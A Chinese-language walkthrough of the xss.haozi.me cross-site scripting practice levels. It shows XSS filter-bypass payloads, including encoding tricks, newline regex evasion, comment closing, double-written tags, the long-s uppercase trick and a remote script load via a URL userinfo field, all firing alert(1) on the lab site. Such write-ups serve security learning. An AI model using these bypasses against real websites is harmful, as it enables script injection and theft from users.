xss.haozi教程-史上最全详解
目录
0x00
0x01
0x02
0x03 反引号替代括号
0x04 编码绕过
0x06 换行绕过
0x08 换行绕过
0x09
0x0A 引入漏洞页面
0x0B 编码绕过
0x0C 双写绕过
0x0D
0x0E 特殊符号绕过
0x0F
0x10
0x11
0x00
0x01
先尝试

前后都闭合标签即可

0x02
先尝试

闭合
">
或者先"闭合,鼠标再移到框中
"οnmοuseοver="alert(1)
0x03 反引号替代括号
先尝试
发现过滤了()

`替代括号
0x04 编码绕过
本题过滤了()和`
使用实体编码的方式绕过
首先需要加一个svg标签,代表要解码后面的编码值
将(1)用ascii编码转unicode
在线Unicode编码转换工具(ES JSON在线工具)
0x05
尝试

发现被注释掉了
html注释
我们尝试闭合注释

结合源码,发现-->会被替换成表情
因此用--!>来闭合
--!>

0x06 换行绕过
过滤了以auto/on开头,以=结尾的字符串,并且忽略大小写
可以利用换行绕过正则
直接将等于换第二行,=前面就是空的,同时不影响第一行内容的执行
onmousemove
=alert(1)
0x07 单标签
尝试

以为是闭合标签

本题过滤了尖括号之间的内容,忽略大小写
利用浏览器的兼容性,右尖括号可以不用写

0x08 换行绕过
尝试

尝试闭合标签

发现本题将替换为/* 坏人 */
利用换行绕过

0x09
本题要求我们必须输入指定的网址

可以先闭合script标签,然后注释掉后面
https://www.segmentfault.com">//
也可以
http://www.segmentfault.com">http://www.segmentfault.com">
0x0A 引入漏洞页面
要求包含网址和上题一样,还将常用符号转换成了编码形式

以@前的字符串作为用户名,来访问@后面的网址
https://www.segmentfault.com@xss.haozi.me/j.js
这里把www.segmentfault.com当成了登录后面网址的用户名
xss.haozi.me/j.js文件内存放着alert(1);
0x0B 编码绕过
发现将所有输入转换为大写输出

html不区分大小写,而js区分大小写
构造html代码:
或者实体编码绕过
将alert(1)进行HTML实体字符转换
在线Unicode编码转换工具(ES JSON在线工具)
0x0C 双写绕过
在0x0B基础上过滤了script

利用双写绕过
或者
0x0D

发现输入全在注释内,还过滤了< / " '
//为单行注释,换行可以绕过
利用换行绕过注释,再用–>忽略后面的引号和括号

0x0E 特殊符号绕过
尝试

特殊符号绕过,ſ 经过toUpperCase函数会变成S
<ſcript src="https://www.segmentfault.com.haozi.me/j.js">
<ſcript src="https://xss.haozi.me/j.js" >
0x0F

属性值中的HTML实体编码会被浏览器成功解析,所以此处的HTML实体编码毫无用处
先闭合console.error,再添加alert
');alert(1);//

0x10
可以先闭合给data赋值,然后alert(1)
1;alert(1)
也可以直接alert(1)

0x11
"被替换为\\"

但仍然可以闭合了前面的"
然后执行alert(1)语句,并用//注释后面的语句
所以此处的过滤也是毫无用处
");alert(1)//

0x12
")
